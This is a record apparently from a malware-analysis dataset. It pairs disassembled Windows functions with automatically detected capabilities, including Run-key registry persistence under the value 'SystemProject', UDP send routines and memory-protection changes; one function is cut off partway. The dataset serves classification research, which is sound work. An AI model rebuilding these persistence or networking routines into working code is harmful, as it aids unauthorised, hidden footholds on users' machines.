joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140038d40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
movdqa xmmword [rbp - 0x10], xmm6
mov rdi, r8
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov rbx, qword [rsi + 0x10]
xor r14d, r14d
mov eax, 0
cmp rbx, 3
jb 0x140038db1
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x140038db1
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jne 0x140038db1
movzx r14d, byte [rbx + rcx - 1]
and r8d, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
or r14d, r8d
mov al, 1
cmp rdi, 3
jb 0x140038e8c
cmp byte [rdx], 0xed
jne 0x140038e95
movzx r15d, byte [rdx + 1]
mov r8d, r15d
and r8b, 0xf0
cmp r8b, 0xb0
setne r8b
xor al, 1
or al, r8b
jne 0x140038e95
cmp rbx, 3
jb 0x140038df1
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
movzx r12d, byte [rdx + 2]
shl r15d, 6
lea r8, [rdi + 1]
mov rax, qword [rsi]
mov rcx, rax
sub rcx, rbx
cmp rcx, r8
jb 0x140038f7f
and r15d, 0x3c0
or r15d, r14d
or r12d, r15d
lea r8d, [r12 + 0x10000]
mov r9d, r8d
shr r9d, 0x12
shr r8d, 4
and r8d, 0xff00
or r8d, r9d
shl r15d, 0xa
and r15d, 0xff0000
or r15d, r8d
shl r12d, 0x18
or r12d, r15d
movd xmm6, r12d
pand xmm6, xmmword [str._a___]
por xmm6, xmmword [0x140050f20]
cmp rcx, 3
jbe 0x140038fb1
add rdx, 3
mov rcx, qword [rsi + 8]
movd dword [rcx + rbx], xmm6
add rbx, 4
mov qword [rsi + 0x10], rbx
add rdi, 0xfffffffffffffffd
jmp 0x140038f23
test rdi, rdi
je 0x140038f20
lea rax, [rdx + rdi]
mov r9, rdx
jmp 0x140038eb8
add r9, 2
cmp r8, rax
cmovne r8, r9
nop dword [rax]
mov r9, r8
cmp r8, rax
je 0x140038f20
lea r8, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x140038eb0
cmp r10b, 0xe0
jb 0x140038e9e
cmp r10b, 0xed
jne 0x140038eef
cmp r8, rax
je 0x140038f20
lea r8, [r9 + 2]
cmp r8, rax
je 0x140038f20
cmp byte [r9 + 1], 0x9f
ja 0x140038f1c
add r9, 3
mov r8, r9
jmp 0x140038eb0
add r9, 2
cmp r8, rax
cmove r9, r8
xor r8d, r8d
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x140038eb0
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
jmp 0x140038eb0
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
jb 0x140038f52
add rcx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.140019e60
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
jmp 0x140038f2b
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r13, rdx
mov rdx, rbx
call fcn.140019e60
mov rdx, r13
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov rcx, rax
sub rcx, rbx
jmp 0x140038e10
mov qword [rsp + 0x20], 1
mov r8d, 4
mov r9d, 1
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
call fcn.140019e60
mov rdx, r14
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
jmp 0x140038e6e
Function at 0x140039150
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140055af8]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtReadFile
cmp eax, 0x103
jne 0x1400391b8
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov eax, dword [rbp]
cmp eax, 0xc0000011
jne 0x1400391c5
xor edx, edx
xor eax, eax
jmp 0x1400391ee
cmp eax, 0x103
je 0x1400391f8
test eax, eax
js 0x1400391d8
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x1400391ee
mov ecx, eax
call sub.ntdll.dll_RtlNtStatusToDosError
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [0x140055b58]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.140014330
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140014470
mov ecx, 7
int 0x29
ud2

Function at 0x140039550
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], r8
mov r15, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
test r14, r14
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0x138], rdx
je 0x1400395ea
movzx eax, byte [r14 + r15 - 1]
cmp al, 0x2f
setne cl
cmp al, 0x5c
setne r12b
and r12b, cl
lea rcx, [rbp + 0xc0]
mov rdx, r15
mov r8, r14
call fcn.140018df0
movzx r13d, byte [rbp + 0xc0]
movzx ebp, byte [rbp + 0xc0]
mov r13b, 6
mov sil, 1
mov dh, 1

Function at 0x14003b500
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov esi, dword [0x14004e078]
test esi, esi
je 0x14003b5a6
dec esi
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
ja 0x14003b59d
je 0x14003b59b
movzx eax, byte [0x14005e030]
mov ecx, 0x10
call fcn.1400480a0
test rax, rax
je 0x14003b5c7
mov qword [rax], 0
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call sub.KERNEL32.dll_TlsSetValue
test rdi, rdi
je 0x14003b596
mov rax, qword [rdi]
test rax, rax
je 0x14003b585
lock dec qword [rax]
jne 0x14003b585
mov rcx, qword [rdi]
call fcn.14003b5e0
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, rdi
call fcn.14004b76c
mov rax, rsi
jmp 0x14003b59d
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x14004e060]
call fcn.1400160d0
mov esi, eax
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jbe 0x14003b52a
jmp 0x14003b59d
mov ecx, 8
mov edx, 0x10
call fcn.140003e20
int3
Function at 0x140043a50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, rcx
movabs r15, 0x8000000000000000
lea rcx, [rbp - 0x28]
call fcn.140037210
mov rax, qword [rbp - 0x28]
mov r14, qword [rbp - 0x20]
mov rcx, rax
neg rcx
jo 0x140043ab1
mov rcx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x40]
call fcn.140043960
mov rdi, qword [rbp - 0x10]
mov r14, qword [rbp - 8]
cmp rdi, r15
jne 0x140043b19
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140043b09
lea rdi, [r14 - 1]
mov rbx, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rax, qword [r14]
test rax, rax
je 0x140043ad5
mov rcx, rbx
call rax
cmp qword [r14 + 8], 0
je 0x140043af8
cmp qword [r14 + 0x10], 0x11
jb 0x140043ae7
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, rbx
call fcn.14004b76c
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, rdi
call fcn.14004b76c
mov qword [rsi], r15
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rbx, qword [rbp]
mov rcx, r14
call sub.KERNEL32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x140043b37
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
jmp 0x140043b0c
mov qword [rsi], r15
test rdi, rdi
je 0x140043b0c
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, r14
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.14004b76c
Function at 0x140045de0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1078
call fcn.14004b640
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xfe0], xmm6
mov rsi, rdx
mov rdi, rcx
lea rcx, [rbp - 0x50]
mov r8d, 0x1000
xor edx, edx
call sub.msvcrt.dll_memset
xorps xmm6, xmm6
lea r13, [rbp + 0xfd4]
lea rbx, [0x14003c9e0]
lea r14, [rbp + 0xfb0]
mov dword [rbp + 0xfd4], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, rdi
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, r14
call sub.KERNEL32.dll_ReadFileEx
test eax, eax
je 0x140045ec0
nop dword [rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call sub.KERNEL32.dll_SleepEx
cmp dword [rbp + 0xfd4], 1
jne 0x140045e80
mov eax, dword [rbp + 0xfd8]
mov r15d, dword [rbp + 0xfdc]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
test eax, eax
cmovne r15, rcx
jne 0x140045ed3
jmp 0x140045f16
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
mov rcx, r15
mov eax, ecx
and eax, 3
shr rcx, 0x20
cmp eax, 2
jne 0x140045f00
call fcn.1400171d0
cmp al, 0xb
mov eax, 0
cmove r15, rax
je 0x140045f16
jmp 0x140045fe4
cmp rcx, 0xb
mov eax, 0
cmove r15, rax
cmp ecx, 0xb
jne 0x140045fe4
test r15, r15
je 0x140045fb9
cmp r15, 0x1000
ja 0x140046058
xor r12d, r12d
nop
cmp r15, r12
jb 0x140046044
mov r8d, r15d
sub r8d, r12d
lea rdx, [r12 + rbp]
add rdx, 0xffffffffffffffb0
mov dword [rbp + 0xfd4], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov r9, r14
call sub.KERNEL32.dll_WriteFileEx
test eax, eax
je 0x140045fb4
nop
mov ecx, 0xffffffff
mov edx, 1
call sub.KERNEL32.dll_SleepEx
cmp dword [rbp + 0xfd4], 1
jne 0x140045f80
cmp dword [rbp + 0xfd8], 0
jne 0x140045fb9
mov eax, dword [rbp + 0xfdc]
add r12, rax
cmp r12, r15
jne 0x140045f30
jmp 0x140045e37
call sub.KERNEL32.dll_GetLastError
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
movaps xmm6, xmmword [rbp + 0xfe0]
add rsp, 0x1078
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x140045fb9
lea rbx, [r15 - 1]
mov r14, qword [r15 - 1]
mov r12, qword [r15 + 7]
mov rax, qword [r12]
test rax, rax
je 0x140046009
mov rcx, r14
call rax
cmp qword [r12 + 8], 0
je 0x14004602e
cmp qword [r12 + 0x10], 0x11
jb 0x14004601d
mov r14, qword [r14 - 8]
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, r14
call fcn.14004b76c
mov rcx, qword [0x14005e100]
xor edx, edx
mov r8, rbx
call fcn.14004b76c
jmp 0x140045fb9
lea r8, str.std_src_syspalwindowspipe.rs
mov rcx, r12
mov rdx, r15
call fcn.140006850
jmp 0x14004606c
lea r8, str.std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r15
call fcn.140004ed0
ud2
Function at 0x140047e20
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140047f12
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp r8, rdx
je 0x140047ed8
sub r8, rdx
add rdx, qword [rbx + 8]
mov rax, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp r8, rcx
cmovae r8, rcx
mov dword [rbp - 0x28], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x28]
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x140047e94
mov eax, dword [rbp - 0x28]
mov ecx, 2
test rax, rax
jne 0x140047eaa
jmp 0x140047eb7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x6d
je 0x140047eb7
cmp eax, 0x3e5
jne 0x140047ec8
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x140047ebb
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x140047ebd
test r8, r8
mov ecx, 0x10
mov eax, 1
cmove rax, rcx
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rbx
mov rdx, r8
mov r8, rax
call fcn.140019e60
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x140047e51
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.140047f30
int3

Function at 0x14004c330
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14004d0f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14004d0f0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14004c3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14005e194]
mov rbx, rcx
test esi, esi
jle 0x14004c4d0
mov rax, qword [0x14005e198]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14004c3eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14004c475
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14004c3d0
mov rcx, rbx
call fcn.14004ce10
mov rdi, rax
test rax, rax
je 0x14004c4f2
mov rax, qword [0x14005e198]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14004cf50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14005e198]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14004c4d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14004c46e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14004c480
add dword [0x14005e194], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14005e198]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14004c46e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14004c330
nop dword [rax]
xor esi, esi
jmp 0x14004c3f8
mov rax, qword [0x14005e198]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14004c330
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14004c330
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14004ca80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14005e200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005e1e0]
test rbx, rbx
je 0x14004cadc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14004cad3
test eax, eax
jne 0x14004cad3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14004cab8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14004ce10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140057080]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14004ce30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14004ce38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14004ce30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14004ce8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14004ce84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14004ce30
add rax, 0x28
cmp rax, r9
jne 0x14004ce70
xor eax, eax
ret

Function at 0x14004ce90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140057080]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14004ceaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14004ceb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14004ceaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14004cf50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140057080]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14004cf6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14004cf78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140011550
Capabilities:
Terminate process

Disassembly:
jmp 0x14001dff0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400116b3
Capabilities:
Convert ip address from string
Create udp socket
Send data
Send data on socket
Set socket configuration

Disassembly:
jmp 0x14001ca50
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x210], rax
lea rcx, [0x140035109]
call fcn.14001199c
nop
mov r8d, sendto
mov edx, 2
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001cad0
jmp 0x14001cc11
mov dword [rbp + 0x24], 0xffe3
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x24]
mov r8d, 0x1001
mov edx, 0xffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_setsockopt]
nop
mov eax, 2
mov word [rbp + 0x48], ax
movzx ecx, word [rbp + 0x250]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x4a], ax
mov rcx, qword [rbp + 0x248]
call fcn.1400110dc
lea r8, [rbp + 0x4c]
mov rdx, rax
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
nop
mov r9d, 0x578
xor r8d, r8d
lea rdx, [rbp + 0x78]
mov rcx, qword [rbp + 0x258]
call fcn.1400114dd
nop
lea rcx, [rbp + 0xb8]
call fcn.140011663
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x1d8]
call fcn.140011212
mov r8, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xd8]
call fcn.1400110d7
nop
lea rcx, [rbp + 0x1f8]
call fcn.140011663
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.1400113d4
movzx eax, al
test eax, eax
je 0x14001cbfc
lea rcx, [rbp + 0x78]
call fcn.140011870
mov qword [rbp + 0x208], rax
lea rcx, [rbp + 0x78]
call fcn.1400110dc
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov rcx, qword [rbp + 0x208]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_sendto]
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0xffffffff
jne 0x14001cbfa
jmp 0x14001cbfc
jmp 0x14001cb83
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
lea rcx, [rbp + 0x78]
call fcn.1400111a9
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x140028430]
call fcn.140011820
mov rcx, qword [rbp + 0x210]
xor rcx, rbp
call fcn.14001148d
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret
Function at 0x1400116d6
Capabilities:
Parse pe header

Disassembly:
jmp 0x140020eb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140020ed0
xor al, al
jmp 0x140020f51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140020ee3
xor al, al
jmp 0x140020f51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140020f0d
xor al, al
jmp 0x140020f51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140020f21
xor al, al
jmp 0x140020f51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140020f33
xor al, al
jmp 0x140020f51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140020f4f
xor al, al
jmp 0x140020f51
mov al, 1
add rsp, 0x38
ret

Function at 0x14001172b
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x14001d660
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x1e0], rax
lea rcx, [0x140035109]
call fcn.14001199c
nop
lea rdx, [0x1400296f0]
lea rcx, [rbp + 8]
call fcn.14001132a
nop
mov qword [rbp + 0x48], 0
lea r8, [rbp + 0x48]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rbp + 0x64], eax
lea rcx, [rbp + 8]
call fcn.140011190
lea rax, [rax + rax + 2]
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 8]
call fcn.140011334
mov rcx, qword [rbp + 0x1d8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemProject
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x84], eax
lea rdx, str.127.0.0.1
lea rcx, [rbp + 0xa8]
call fcn.140011424
nop
mov dword [rbp + 0xe4], 0x1b38
mov edx, dword [rbp + 0xe4]
lea rcx, [rbp + 0xa8]
call fcn.1400119ce
nop
mov dword [rbp + 0x1c4], 0
lea rcx, [rbp + 0xa8]
call fcn.1400111a9
lea rcx, [rbp + 8]
call fcn.140011889
mov eax, dword [rbp + 0x1c4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.140011820
mov eax, edi
mov rcx, qword [rbp + 0x1e0]
xor rcx, rbp
call fcn.14001148d
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret
Function at 0x14001ecf0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400119fb
movzx eax, al
test eax, eax
jne 0x14001ed10
mov ecx, 7
call fcn.140011839
nop
mov byte [rsp + 0x20], 0
call fcn.140011884
mov byte [rsp + 0x21], al
cmp dword [0x14002edf8], 1
jne 0x14001ed34
mov ecx, 7
call fcn.140011839
nop
jmp 0x14001ed8c
cmp dword [0x14002edf8], 0
jne 0x14001ed87
mov dword [0x14002edf8], 1
lea rdx, [0x140027770]
lea rcx, [0x140027440]
call fcn.140011474
test eax, eax
je 0x14001ed68
mov eax, 0xff
jmp 0x14001ee91
lea rdx, [0x140027330]
lea rcx, [section..rdata]
call fcn.140011861
mov dword [0x14002edf8], 2
jmp 0x14001ed8c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011811
call fcn.14001170d
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001ede9
mov rcx, qword [rsp + 0x30]
call fcn.14001139d
movzx eax, al
test eax, eax
je 0x14001ede9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140036020]
nop
call fcn.14001178a
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001ee1d
mov rcx, qword [rsp + 0x38]
call fcn.14001139d
movzx eax, al
test eax, eax
je 0x14001ee1d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011974
nop
call fcn.14001ef40
